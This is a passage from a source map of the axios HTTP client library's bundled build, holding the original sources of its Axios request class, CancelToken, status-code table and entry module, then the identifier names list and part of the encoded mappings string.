InterceptorManager from './InterceptorManager.js';\nimport dispatchRequest from './dispatchRequest.js';\nimport mergeConfig from './mergeConfig.js';\nimport buildFullPath from './buildFullPath.js';\nimport validator from '../helpers/validator.js';\nimport AxiosHeaders from './AxiosHeaders.js';\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n constructor(instanceConfig) {\n this.defaults = instanceConfig;\n this.interceptors = {\n request: new InterceptorManager(),\n response: new InterceptorManager()\n };\n }\n\n /**\n * Dispatch a request\n *\n * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n * @param {?Object} config\n *\n * @returns {Promise} The Promise to be fulfilled\n */\n async request(configOrUrl, config) {\n try {\n return await this._request(configOrUrl, config);\n } catch (err) {\n if (err instanceof Error) {\n let dummy;\n\n Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());\n\n // slice off the Error: ... line\n const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n try {\n if (!err.stack) {\n err.stack = stack;\n // match without the 2 top stack lines\n } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n err.stack += '\\n' + stack\n }\n } catch (e) {\n // ignore the case where \"stack\" is an un-writable property\n }\n }\n\n throw err;\n }\n }\n\n _request(configOrUrl, config) {\n /*eslint no-param-reassign:0*/\n // Allow for axios('example/url'[, config]) a la fetch API\n if (typeof configOrUrl === 'string') {\n config = config || {};\n config.url = configOrUrl;\n } else {\n config = configOrUrl || {};\n }\n\n config = mergeConfig(this.defaults, config);\n\n const {transitional, paramsSerializer, headers} = config;\n\n if (transitional !== undefined) {\n validator.assertOptions(transitional, {\n silentJSONParsing: validators.transitional(validators.boolean),\n forcedJSONParsing: validators.transitional(validators.boolean),\n clarifyTimeoutError: validators.transitional(validators.boolean)\n }, false);\n }\n\n if (paramsSerializer != null) {\n if (utils.isFunction(paramsSerializer)) {\n config.paramsSerializer = {\n serialize: paramsSerializer\n }\n } else {\n validator.assertOptions(paramsSerializer, {\n encode: validators.function,\n serialize: validators.function\n }, true);\n }\n }\n\n // Set config.method\n config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n // Flatten headers\n let contextHeaders = headers && utils.merge(\n headers.common,\n headers[config.method]\n );\n\n headers && utils.forEach(\n ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n (method) => {\n delete headers[method];\n }\n );\n\n config.headers = AxiosHeaders.concat(contextHeaders, headers);\n\n // filter out skipped interceptors\n const requestInterceptorChain = [];\n let synchronousRequestInterceptors = true;\n this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {\n return;\n }\n\n synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n\n requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n });\n\n const responseInterceptorChain = [];\n this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n });\n\n let promise;\n let i = 0;\n let len;\n\n if (!synchronousRequestInterceptors) {\n const chain = [dispatchRequest.bind(this), undefined];\n chain.unshift.apply(chain, requestInterceptorChain);\n chain.push.apply(chain, responseInterceptorChain);\n len = chain.length;\n\n promise = Promise.resolve(config);\n\n while (i < len) {\n promise = promise.then(chain[i++], chain[i++]);\n }\n\n return promise;\n }\n\n len = requestInterceptorChain.length;\n\n let newConfig = config;\n\n i = 0;\n\n while (i < len) {\n const onFulfilled = requestInterceptorChain[i++];\n const onRejected = requestInterceptorChain[i++];\n try {\n newConfig = onFulfilled(newConfig);\n } catch (error) {\n onRejected.call(this, error);\n break;\n }\n }\n\n try {\n promise = dispatchRequest.call(this, newConfig);\n } catch (error) {\n return Promise.reject(error);\n }\n\n i = 0;\n len = responseInterceptorChain.length;\n\n while (i < len) {\n promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);\n }\n\n return promise;\n }\n\n getUri(config) {\n config = mergeConfig(this.defaults, config);\n const fullPath = buildFullPath(config.baseURL, config.url);\n return buildURL(fullPath, config.params, config.paramsSerializer);\n }\n}\n\n// Provide aliases for supported request methods\nutils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {\n /*eslint func-names:0*/\n Axios.prototype[method] = function(url, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n url,\n data: (config || {}).data\n }));\n };\n});\n\nutils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n /*eslint func-names:0*/\n\n function generateHTTPMethod(isForm) {\n return function httpMethod(url, data, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n headers: isForm ? {\n 'Content-Type': 'multipart/form-data'\n } : {},\n url,\n data\n }));\n };\n }\n\n Axios.prototype[method] = generateHTTPMethod();\n\n Axios.prototype[method + 'Form'] = generateHTTPMethod(true);\n});\n\nexport default Axios;\n","'use strict';\n\nimport CanceledError from './CanceledError.js';\n\n/**\n * A `CancelToken` is an object that can be used to request cancellation of an operation.\n *\n * @param {Function} executor The executor function.\n *\n * @returns {CancelToken}\n */\nclass CancelToken {\n constructor(executor) {\n if (typeof executor !== 'function') {\n throw new TypeError('executor must be a function.');\n }\n\n let resolvePromise;\n\n this.promise = new Promise(function promiseExecutor(resolve) {\n resolvePromise = resolve;\n });\n\n const token = this;\n\n // eslint-disable-next-line func-names\n this.promise.then(cancel => {\n if (!token._listeners) return;\n\n let i = token._listeners.length;\n\n while (i-- > 0) {\n token._listeners[i](cancel);\n }\n token._listeners = null;\n });\n\n // eslint-disable-next-line func-names\n this.promise.then = onfulfilled => {\n let _resolve;\n // eslint-disable-next-line func-names\n const promise = new Promise(resolve => {\n token.subscribe(resolve);\n _resolve = resolve;\n }).then(onfulfilled);\n\n promise.cancel = function reject() {\n token.unsubscribe(_resolve);\n };\n\n return promise;\n };\n\n executor(function cancel(message, config, request) {\n if (token.reason) {\n // Cancellation has already been requested\n return;\n }\n\n token.reason = new CanceledError(message, config, request);\n resolvePromise(token.reason);\n });\n }\n\n /**\n * Throws a `CanceledError` if cancellation has been requested.\n */\n throwIfRequested() {\n if (this.reason) {\n throw this.reason;\n }\n }\n\n /**\n * Subscribe to the cancel signal\n */\n\n subscribe(listener) {\n if (this.reason) {\n listener(this.reason);\n return;\n }\n\n if (this._listeners) {\n this._listeners.push(listener);\n } else {\n this._listeners = [listener];\n }\n }\n\n /**\n * Unsubscribe from the cancel signal\n */\n\n unsubscribe(listener) {\n if (!this._listeners) {\n return;\n }\n const index = this._listeners.indexOf(listener);\n if (index !== -1) {\n this._listeners.splice(index, 1);\n }\n }\n\n /**\n * Returns an object that contains a new `CancelToken` and a function that, when called,\n * cancels the `CancelToken`.\n */\n static source() {\n let cancel;\n const token = new CancelToken(function executor(c) {\n cancel = c;\n });\n return {\n token,\n cancel\n };\n }\n}\n\nexport default CancelToken;\n","const HttpStatusCode = {\n Continue: 100,\n SwitchingProtocols: 101,\n Processing: 102,\n EarlyHints: 103,\n Ok: 200,\n Created: 201,\n Accepted: 202,\n NonAuthoritativeInformation: 203,\n NoContent: 204,\n ResetContent: 205,\n PartialContent: 206,\n MultiStatus: 207,\n AlreadyReported: 208,\n ImUsed: 226,\n MultipleChoices: 300,\n MovedPermanently: 301,\n Found: 302,\n SeeOther: 303,\n NotModified: 304,\n UseProxy: 305,\n Unused: 306,\n TemporaryRedirect: 307,\n PermanentRedirect: 308,\n BadRequest: 400,\n Unauthorized: 401,\n PaymentRequired: 402,\n Forbidden: 403,\n NotFound: 404,\n MethodNotAllowed: 405,\n NotAcceptable: 406,\n ProxyAuthenticationRequired: 407,\n RequestTimeout: 408,\n Conflict: 409,\n Gone: 410,\n LengthRequired: 411,\n PreconditionFailed: 412,\n PayloadTooLarge: 413,\n UriTooLong: 414,\n UnsupportedMediaType: 415,\n RangeNotSatisfiable: 416,\n ExpectationFailed: 417,\n ImATeapot: 418,\n MisdirectedRequest: 421,\n UnprocessableEntity: 422,\n Locked: 423,\n FailedDependency: 424,\n TooEarly: 425,\n UpgradeRequired: 426,\n PreconditionRequired: 428,\n TooManyRequests: 429,\n RequestHeaderFieldsTooLarge: 431,\n UnavailableForLegalReasons: 451,\n InternalServerError: 500,\n NotImplemented: 501,\n BadGateway: 502,\n ServiceUnavailable: 503,\n GatewayTimeout: 504,\n HttpVersionNotSupported: 505,\n VariantAlsoNegotiates: 506,\n InsufficientStorage: 507,\n LoopDetected: 508,\n NotExtended: 510,\n NetworkAuthenticationRequired: 511,\n};\n\nObject.entries(HttpStatusCode).forEach(([key, value]) => {\n HttpStatusCode[value] = key;\n});\n\nexport default HttpStatusCode;\n","'use strict';\n\nimport utils from './utils.js';\nimport bind from './helpers/bind.js';\nimport Axios from './core/Axios.js';\nimport mergeConfig from './core/mergeConfig.js';\nimport defaults from './defaults/index.js';\nimport formDataToJSON from './helpers/formDataToJSON.js';\nimport CanceledError from './cancel/CanceledError.js';\nimport CancelToken from './cancel/CancelToken.js';\nimport isCancel from './cancel/isCancel.js';\nimport {VERSION} from './env/data.js';\nimport toFormData from './helpers/toFormData.js';\nimport AxiosError from './core/AxiosError.js';\nimport spread from './helpers/spread.js';\nimport isAxiosError from './helpers/isAxiosError.js';\nimport AxiosHeaders from \"./core/AxiosHeaders.js\";\nimport adapters from './adapters/adapters.js';\nimport HttpStatusCode from './helpers/HttpStatusCode.js';\n\n/**\n * Create an instance of Axios\n *\n * @param {Object} defaultConfig The default config for the instance\n *\n * @returns {Axios} A new instance of Axios\n */\nfunction createInstance(defaultConfig) {\n const context = new Axios(defaultConfig);\n const instance = bind(Axios.prototype.request, context);\n\n // Copy axios.prototype to instance\n utils.extend(instance, Axios.prototype, context, {allOwnKeys: true});\n\n // Copy context to instance\n utils.extend(instance, context, null, {allOwnKeys: true});\n\n // Factory for creating new instances\n instance.create = function create(instanceConfig) {\n return createInstance(mergeConfig(defaultConfig, instanceConfig));\n };\n\n return instance;\n}\n\n// Create the default instance to be exported\nconst axios = createInstance(defaults);\n\n// Expose Axios class to allow class inheritance\naxios.Axios = Axios;\n\n// Expose Cancel & CancelToken\naxios.CanceledError = CanceledError;\naxios.CancelToken = CancelToken;\naxios.isCancel = isCancel;\naxios.VERSION = VERSION;\naxios.toFormData = toFormData;\n\n// Expose AxiosError class\naxios.AxiosError = AxiosError;\n\n// alias for CanceledError for backward compatibility\naxios.Cancel = axios.CanceledError;\n\n// Expose all/spread\naxios.all = function all(promises) {\n return Promise.all(promises);\n};\n\naxios.spread = spread;\n\n// Expose isAxiosError\naxios.isAxiosError = isAxiosError;\n\n// Expose mergeConfig\naxios.mergeConfig = mergeConfig;\n\naxios.AxiosHeaders = AxiosHeaders;\n\naxios.formToJSON = thing => formDataToJSON(utils.isHTMLForm(thing) ? new FormData(thing) : thing);\n\naxios.getAdapter = adapters.getAdapter;\n\naxios.HttpStatusCode = HttpStatusCode;\n\naxios.default = axios;\n\n// this module should only have a default export\nexport default axios\n","'use strict';\n\n/**\n * Syntactic sugar for invoking a function and expanding an array for arguments.\n *\n * Common use case would be to use `Function.prototype.apply`.\n *\n * ```js\n * function f(x, y, z) {}\n * var args = [1, 2, 3];\n * f.apply(null, args);\n * ```\n *\n * With `spread` this example can be re-written.\n *\n * ```js\n * spread(function(x, y, z) {})([1, 2, 3]);\n * ```\n *\n * @param {Function} callback\n *\n * @returns {Function}\n */\nexport default function spread(callback) {\n return function wrap(arr) {\n return callback.apply(null, arr);\n };\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n/**\n * Determines whether the payload is an error thrown by Axios\n *\n * @param {*} payload The value to test\n *\n * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false\n */\nexport default function isAxiosError(payload) {\n return utils.isObject(payload) && (payload.isAxiosError === true);\n}\n"],"names":["bind","fn","thisArg","apply","arguments","cache","toString","Object","prototype","getPrototypeOf","kindOf","create","thing","str","call","slice","toLowerCase","kindOfTest","type","typeOfTest","_typeof","isArray","Array","isUndefined","isArrayBuffer","isString","isFunction","isNumber","isObject","isPlainObject","val","Symbol","toStringTag","iterator","isDate","isFile","isBlob","isFileList","isURLSearchParams","_map2","_slicedToArray","map","isReadableStream","isRequest","isResponse","isHeaders","forEach","obj","i","l","_ref","length","undefined","_ref$allOwnKeys","allOwnKeys","key","keys","getOwnPropertyNames","len","findKey","_key","_global","globalThis","self","window","global","isContextDefined","context","TypedArray","isTypedArray","Uint8Array","isHTMLForm","hasOwnProperty","_ref4","prop","isRegExp","reduceDescriptors","reducer","descriptors","getOwnPropertyDescriptors","reducedDescriptors","descriptor","name","ret","defineProperties","ALPHA","DIGIT","ALPHABET","ALPHA_DIGIT","toUpperCase","isAsyncFn","utils$1","isBuffer","constructor","isFormData","kind","FormData","append","isArrayBufferView","ArrayBuffer","isView","buffer","isBoolean","isStream","pipe","merge","_ref2","this","caseless","result","assignValue","targetKey","extend","a","b","_ref3","trim","replace","stripBOM","content","charCodeAt","inherits","superConstructor","props","defineProperty","value","assign","toFlatObject","sourceObj","destObj","filter","propFilter","merged","endsWith","searchString","position","String","lastIndex","indexOf","toArray","arr","forEachEntry","next","done","pair","matchAll","regExp","matches","exec","push","hasOwnProp","freezeMethods","enumerable","writable","set","Error","toObjectSet","arrayOrString","delimiter","define","split","toCamelCase","m","p1","p2","noop","toFiniteNumber","defaultValue","Number","isFinite","generateString","size","alphabet","Math","random","isSpecCompliantForm","toJSONObject","stack","visit","source","target","reducedValue","isThenable","then","AxiosError","message","code","config","request","response","captureStackTrace","utils","toJSON","description","number","fileName","lineNumber","columnNumber","status","from","error","customProps","axiosError","cause","isVisitable","removeBrackets","renderKey","path","dots","concat","token","join","predicates","test","toFormData","formData","options","TypeError","metaTokens","indexes","option","visitor","defaultVisitor","useBlob","Blob","convertValue","toISOString","Buffer","JSON","stringify","some","isFlatArray","el","index","exposedHelpers","build","pop","encode","charMap","encodeURIComponent","match","AxiosURLSearchParams","params","_pairs","buildURL","url","serializedParams","_encode","serializeFn","serialize","hashmarkIndex","encoder","product","InterceptorManager$1","InterceptorManager","_classCallCheck","handlers","_createClass","fulfilled","rejected","synchronous","runWhen","id","h","transitionalDefaults","silentJSONParsing","forcedJSONParsing","clarifyTimeoutError","platform$1","isBrowser","classes","URLSearchParams","protocols","hasBrowserEnv","document","hasStandardBrowserEnv","navigator","hasStandardBrowserWebWorkerEnv","WorkerGlobalScope","importScripts","origin","location","href","_objectSpread","platform","formDataToJSON","buildPath","isNumericKey","isLast","arrayToObject","entries","parsePropPath","defaults","transitional","adapter","transformRequest","data","headers","contentType","getContentType","hasJSONContentType","isObjectPayload","setContentType","helpers","isNode","toURLEncodedForm","formSerializer","_FormData","env","rawValue","parser","parse","e","stringifySafely","transformResponse","JSONRequested","responseType","strictJSONParsing","ERR_BAD_RESPONSE","timeout","xsrfCookieName","xsrfHeaderName","maxContentLength","maxBodyLength","validateStatus","common","Accept","method","defaults$1","ignoreDuplicateOf","$internals","normalizeHeader","header","normalizeValue","matchHeaderValue","isHeaderNameFilter","AxiosHeaders","_Symbol$iterator","_Symbol$toStringTag","valueOrRewrite","rewrite","setHeader","_value","_header","_rewrite","lHeader","setHeaders","rawHeaders","parsed","line","substring","parseHeaders","_step","_iterator","_createForOfIteratorHelper","s","n","_step$value","err","f","tokens","tokensRE","parseTokens","matcher","deleted","deleteHeader","format","normalized","w","char","formatHeader","_this$constructor","_len","targets","asStrings","get","first","computed","_len2","_key2","accessors","defineAccessor","accessorName","methodName","arg1","arg2","arg3","configurable","buildAccessors","accessor","mapped","headerValue","AxiosHeaders$1","transformData","fns","normalize","isCancel","__CANCEL__","CanceledError","ERR_CANCELED","settle","resolve","reject","ERR_BAD_REQUEST","floor","speedometer","samplesCount","min","firstSampleTS","bytes","timestamps","head","tail","chunkLength","now","Date","startedAt","bytesCount","passed","round","throttle","freq","timestamp","threshold","timer","_arguments","force","clearTimeout","setTimeout","progressEventReducer","listener","isDownloadStream","bytesNotified","_speedometer","loaded","total","lengthComputable","progressBytes","rate","progress","estimated","event","originURL","msie","userAgent","urlParsingNode","createElement","resolveURL","setAttribute","protocol","host","search","hash","hostname","port","pathname","charAt","requestURL","write","expires","domain","secure","cookie","toGMTString","read","RegExp","decodeURIComponent","remove","buildFullPath","baseURL","requestedURL","relativeURL","combineURLs","headersToObject","mergeConfig","config1","config2","getMergedValue","mergeDeepProperties","valueFromConfig2","defaultToConfig2","mergeDirectKeys","mergeMap","paramsSerializer","timeoutMessage","withCredentials","withXSRFToken","onUploadProgress","onDownloadProgress","decompress","beforeRedirect","transport","httpAgent","httpsAgent","cancelToken","socketPath","responseEncoding","configValue","duplexAccessed","hasContentType","res","resolveConfig","newConfig","auth","btoa","username","password","unescape","Boolean","_toConsumableArray","isURLSameOrigin","xsrfValue","cookies","xhrAdapter","XMLHttpRequest","Promise","onCanceled","_config","requestData","requestHeaders","unsubscribe","signal","removeEventListener","onloadend","responseHeaders","getAllResponseHeaders","responseText","statusText","open","onreadystatechange","readyState","responseURL","onabort","ECONNABORTED","onerror","ERR_NETWORK","ontimeout","timeoutErrorMessage","ETIMEDOUT","setRequestHeader","addEventListener","upload","cancel","abort","subscribe","aborted","send","composeSignals$1","signals","controller","AbortController","reason","streamChunk","_regeneratorRuntime","mark","chunk","chunkSize","pos","end","wrap","_context","prev","byteLength","abrupt","stop","readBytes","_callee","iterable","_iteratorAbruptCompletion","_didIteratorError","_iteratorError","_context2","_asyncIterator","_awaitAsyncGenerator","sent","t0","_asyncGeneratorDelegate","t1","t2","t3","t4","t5","t6","t7","t8","delegateYield","t10","finish","_x","_x2","_x3","trackStream","stream","onProgress","onFinish","ReadableStream","pull","_asyncToGenerator","_callee2","_yield$iterator$next","_context3","close","enqueue","highWaterMark","fetchProgressDecorator","isFetchSupported","fetch","Request","Response","isReadableStreamSupported","encodeText","TextEncoder","arrayBuffer","supportsRequestStream","body","duplex","has","supportsResponseStream","resolvers","_","ERR_NOT_SUPPORT","getBodyLength","resolveBodyLength","_callee3","getContentLength","_x4","_callee4","_resolveConfig","_resolveConfig$withCr","fetchOptions","_ref5","_ref6","composedSignal","stopTimeout","finished","requestContentLength","_request","contentTypeHeader","isStreamResponse","responseContentLength","responseData","_context4","composeSignals","_x5","knownAdapters","http","xhr","fetchAdapter","renderReason","isResolvedHandle","adapters","nameOrAdapter","rejectedReasons","reasons","state","throwIfCancellationRequested","throwIfRequested","dispatchRequest","VERSION","validators","deprecatedWarnings","validators$1","validator","version","formatMessage","opt","desc","opts","ERR_DEPRECATED","console","warn","assertOptions","schema","allowUnknown","ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","Axios","instanceConfig","interceptors","_request2","configOrUrl","dummy","contextHeaders","requestInterceptorChain","synchronousRequestInterceptors","interceptor","unshift","promise","responseInterceptorChain","chain","onFulfilled","onRejected","generateHTTPMethod","isForm","Axios$1","CancelToken$1","CancelToken","executor","resolvePromise","_listeners","onfulfilled","_resolve","splice","c","HttpStatusCode","Continue","SwitchingProtocols","Processing","EarlyHints","Ok","Created","Accepted","NonAuthoritativeInformation","NoContent","ResetContent","PartialContent","MultiStatus","AlreadyReported","ImUsed","MultipleChoices","MovedPermanently","Found","SeeOther","NotModified","UseProxy","Unused","TemporaryRedirect","PermanentRedirect","BadRequest","Unauthorized","PaymentRequired","Forbidden","NotFound","MethodNotAllowed","NotAcceptable","ProxyAuthenticationRequired","RequestTimeout","Conflict","Gone","LengthRequired","PreconditionFailed","PayloadTooLarge","UriTooLong","UnsupportedMediaType","RangeNotSatisfiable","ExpectationFailed","ImATeapot","MisdirectedRequest","UnprocessableEntity","Locked","FailedDependency","TooEarly","UpgradeRequired","PreconditionRequired","TooManyRequests","RequestHeaderFieldsTooLarge","UnavailableForLegalReasons","InternalServerError","NotImplemented","BadGateway","ServiceUnavailable","GatewayTimeout","HttpVersionNotSupported","VariantAlsoNegotiates","InsufficientStorage","LoopDetected","NotExtended","NetworkAuthenticationRequired","HttpStatusCode$1","axios","createInstance","defaultConfig","instance","Cancel","all","promises","spread","callback","isAxiosError","payload","formToJSON","getAdapter"],"mappings":"i1XAEe,SAASA,EAAKC,EAAIC,GAC/B,OAAO,WACL,OAAOD,EAAGE,MAAMD,EAASE,WAE7B,mSCAA,IAGgBC,EAHTC,EAAYC,OAAOC,UAAnBF,SACAG,EAAkBF,OAAlBE,eAEDC,GAAUL,EAGbE,OAAOI,OAAO,MAHQ,SAAAC,GACrB,IAAMC,EAAMP,EAASQ,KAAKF,GAC1B,OAAOP,EAAMQ,KAASR,EAAMQ,GAAOA,EAAIE,MAAM,GAAI,GAAGC,iBAGlDC,EAAa,SAACC,GAElB,OADAA,EAAOA,EAAKF,cACL,SAACJ,GAAK,OAAKF,EAAOE,KAAWM,CAAI,CAC1C,EAEMC,EAAa,SAAAD,GAAI,OAAI,SAAAN,GAAK,OAAIQ,EAAOR,KAAUM,CAAI,CAAA,EASlDG,EAAWC,MAAXD,QASDE,EAAcJ,EAAW,aAqB/B,IAAMK,EAAgBP,EAAW,eA2BjC,IAAMQ,EAAWN,EAAW,UAQtBO,EAAaP,EAAW,YASxBQ,EAAWR,EAAW,UAStBS,EAAW,SAAChB,GAAK,OAAe,OAAVA,GAAmC,WAAjBQ,EAAOR,EAAkB,EAiBjEiB,EAAgB,SAACC,GACrB,GAAoB,WAAhBpB,EAAOoB,GACT,OAAO,EAGT,IAAMtB,EAAYC,EAAeqB,GACjC,QAAsB,OAAdtB,GAAsBA,IAAcD,OAAOC,WAAkD,OAArCD,OAAOE,eAAeD,IAA0BuB,OAAOC,eAAeF,GAAUC,OAAOE,YAAYH,EACrK,EASMI,EAASjB,EAAW,QASpBkB,EAASlB,EAAW,QASpBmB,EAASnB,EAAW,QASpBoB,EAAapB,EAAW,YAsCxBqB,EAAoBrB,EAAW,mBAE4FsB,EAAAC,EAApE,CAAC,iBAAkB,UAAW,WAAY,WAAWC,IAAIxB,GAAW,GAA1HyB,EAAgBH,EAAA,GAAEI,EAASJ,EAAA,GAAEK,EAAUL,EAAA,GAAEM,EAASN,EAAA,GA2BzD,SAASO,EAAQC,EAAK9C,GAA+B,IAM/C+C,EACAC,EAP+CC,EAAA9C,UAAA+C,OAAA,QAAAC,IAAAhD,UAAA,GAAAA,UAAA,GAAJ,CAAE,EAAAiD,EAAAH,EAAxBI,WAAAA,OAAa,IAAHD,GAAQA,EAE3C,GAAIN,QAaJ,GALmB,WAAf3B,EAAO2B,KAETA,EAAM,CAACA,IAGL1B,EAAQ0B,GAEV,IAAKC,EAAI,EAAGC,EAAIF,EAAII,OAAQH,EAAIC,EAAGD,IACjC/C,EAAGa,KAAK,KAAMiC,EAAIC,GAAIA,EAAGD,OAEtB,CAEL,IAEIQ,EAFEC,EAAOF,EAAa/C,OAAOkD,oBAAoBV,GAAOxC,OAAOiD,KAAKT,GAClEW,EAAMF,EAAKL,OAGjB,IAAKH,EAAI,EAAGA,EAAIU,EAAKV,IACnBO,EAAMC,EAAKR,GACX/C,EAAGa,KAAK,KAAMiC,EAAIQ,GAAMA,EAAKR,EAEjC,CACF,CAEA,SAASY,EAAQZ,EAAKQ,GACpBA,EAAMA,EAAIvC,cAIV,IAHA,IAEI4C,EAFEJ,EAAOjD,OAAOiD,KAAKT,GACrBC,EAAIQ,EAAKL,OAENH,KAAM,GAEX,GAAIO,KADJK,EAAOJ,EAAKR,IACKhC,cACf,OAAO4C,EAGX,OAAO,IACT,CAEA,IAAMC,EAEsB,oBAAfC,WAAmCA,WACvB,oBAATC,KAAuBA,KAA0B,oBAAXC,OAAyBA,OAASC,OAGlFC,EAAmB,SAACC,GAAO,OAAM5C,EAAY4C,IAAYA,IAAYN,CAAO,EAoDlF,IA8HsBO,EAAhBC,IAAgBD,EAKG,oBAAfE,YAA8B7D,EAAe6D,YAH9C,SAAA1D,GACL,OAAOwD,GAAcxD,aAAiBwD,IA6CpCG,GAAatD,EAAW,mBAWxBuD,GAAkB,SAAAC,GAAA,IAAED,EAAmEjE,OAAOC,UAA1EgE,eAAc,OAAM,SAACzB,EAAK2B,GAAI,OAAKF,EAAe1D,KAAKiC,EAAK2B,EAAK,CAAA,CAAnE,GASlBC,GAAW1D,EAAW,UAEtB2D,GAAoB,SAAC7B,EAAK8B,GAC9B,IAAMC,EAAcvE,OAAOwE,0BAA0BhC,GAC/CiC,EAAqB,CAAA,EAE3BlC,EAAQgC,GAAa,SAACG,EAAYC,GAChC,IAAIC,GAC2C,KAA1CA,EAAMN,EAAQI,EAAYC,EAAMnC,MACnCiC,EAAmBE,GAAQC,GAAOF,EAEtC,IAEA1E,OAAO6E,iBAAiBrC,EAAKiC,EAC/B,EAqDMK,GAAQ,6BAERC,GAAQ,aAERC,GAAW,CACfD,MAAAA,GACAD,MAAAA,GACAG,YAAaH,GAAQA,GAAMI,cAAgBH,IAwB7C,IA+BMI,GAAYzE,EAAW,iBAKd0E,GAAA,CACbtE,QAAAA,EACAG,cAAAA,EACAoE,SApnBF,SAAkB9D,GAChB,OAAe,OAARA,IAAiBP,EAAYO,IAA4B,OAApBA,EAAI+D,cAAyBtE,EAAYO,EAAI+D,cACpFnE,EAAWI,EAAI+D,YAAYD,WAAa9D,EAAI+D,YAAYD,SAAS9D,EACxE,EAknBEgE,WAteiB,SAAClF,GAClB,IAAImF,EACJ,OAAOnF,IACgB,mBAAboF,UAA2BpF,aAAiBoF,UAClDtE,EAAWd,EAAMqF,UACY,cAA1BF,EAAOrF,EAAOE,KAEL,WAATmF,GAAqBrE,EAAWd,EAAMN,WAAkC,sBAArBM,EAAMN,YAIlE,EA4dE4F,kBAhmBF,SAA2BpE,GAOzB,MAL4B,oBAAhBqE,aAAiCA,YAAYC,OAC9CD,YAAYC,OAAOtE,GAElBA,GAASA,EAAIuE,QAAY7E,EAAcM,EAAIuE,OAGzD,EAylBE5E,SAAAA,EACAE,SAAAA,EACA2E,UAhjBgB,SAAA1F,GAAK,OAAc,IAAVA,IAA4B,IAAVA,CAAe,EAijB1DgB,SAAAA,EACAC,cAAAA,EACAa,iBAAAA,EACAC,UAAAA,EACAC,WAAAA,EACAC,UAAAA,EACAtB,YAAAA,EACAW,OAAAA,EACAC,OAAAA,EACAC,OAAAA,EACAuC,SAAAA,GACAjD,WAAAA,EACA6E,SAhgBe,SAACzE,GAAG,OAAKF,EAASE,IAAQJ,EAAWI,EAAI0E,KAAK,EAigB7DlE,kBAAAA,EACA+B,aAAAA,GACAhC,WAAAA,EACAS,QAAAA,EACA2D,MAlYF,SAASA,IAgBP,IAfA,IAAAC,EAAmBxC,EAAiByC,OAASA,MAAQ,CAAE,EAAhDC,EAAQF,EAARE,SACDC,EAAS,CAAA,EACTC,EAAc,SAAChF,EAAKyB,GACxB,IAAMwD,EAAYH,GAAYjD,EAAQkD,EAAQtD,IAAQA,EAClD1B,EAAcgF,EAAOE,KAAelF,EAAcC,GACpD+E,EAAOE,GAAaN,EAAMI,EAAOE,GAAYjF,GACpCD,EAAcC,GACvB+E,EAAOE,GAAaN,EAAM,CAAE,EAAE3E,GACrBT,EAAQS,GACjB+E,EAAOE,GAAajF,EAAIf,QAExB8F,EAAOE,GAAajF,GAIfkB,EAAI,EAAGC,EAAI7C,UAAU+C,OAAQH,EAAIC,EAAGD,IAC3C5C,UAAU4C,IAAMF,EAAQ1C,UAAU4C,GAAI8D,GAExC,OAAOD,CACT,EA+WEG,OAnWa,SAACC,EAAGC,EAAGhH,GAA8B,IAAAiH,EAAA/G,UAAA+C,OAAA,QAAAC,IAAAhD,UAAA,GAAAA,UAAA,GAAP,CAAE,EAAfkD,EAAU6D,EAAV7D,WAQ9B,OAPAR,EAAQoE,GAAG,SAACpF,EAAKyB,GACXrD,GAAWwB,EAAWI,GACxBmF,EAAE1D,GAAOvD,EAAK8B,EAAK5B,GAEnB+G,EAAE1D,GAAOzB,CAEb,GAAG,CAACwB,WAAAA,IACG2D,CACT,EA2VEG,KA/dW,SAACvG,GAAG,OAAKA,EAAIuG,KACxBvG,EAAIuG,OAASvG,EAAIwG,QAAQ,qCAAsC,GAAG,EA+dlEC,SAnVe,SAACC,GAIhB,OAH8B,QAA1BA,EAAQC,WAAW,KACrBD,EAAUA,EAAQxG,MAAM,IAEnBwG,CACT,EA+UEE,SApUe,SAAC5B,EAAa6B,EAAkBC,EAAO7C,GACtDe,EAAYrF,UAAYD,OAAOI,OAAO+G,EAAiBlH,UAAWsE,GAClEe,EAAYrF,UAAUqF,YAAcA,EACpCtF,OAAOqH,eAAe/B,EAAa,QAAS,CAC1CgC,MAAOH,EAAiBlH,YAE1BmH,GAASpH,OAAOuH,OAAOjC,EAAYrF,UAAWmH,EAChD,EA8TEI,aAnTmB,SAACC,EAAWC,EAASC,EAAQC,GAChD,IAAIR,EACA3E,EACA0B,EACE0D,EAAS,CAAA,EAIf,GAFAH,EAAUA,GAAW,GAEJ,MAAbD,EAAmB,OAAOC,EAE9B,EAAG,CAGD,IADAjF,GADA2E,EAAQpH,OAAOkD,oBAAoBuE,IACzB7E,OACHH,KAAM,GACX0B,EAAOiD,EAAM3E,GACPmF,IAAcA,EAAWzD,EAAMsD,EAAWC,IAAcG,EAAO1D,KACnEuD,EAAQvD,GAAQsD,EAAUtD,GAC1B0D,EAAO1D,IAAQ,GAGnBsD,GAAuB,IAAXE,GAAoBzH,EAAeuH,EACjD,OAASA,KAAeE,GAAUA,EAAOF,EAAWC,KAAaD,IAAczH,OAAOC,WAEtF,OAAOyH,CACT,EA4REvH,OAAAA,EACAO,WAAAA,EACAoH,SAnRe,SAACxH,EAAKyH,EAAcC,GACnC1H,EAAM2H,OAAO3H,SACIuC,IAAbm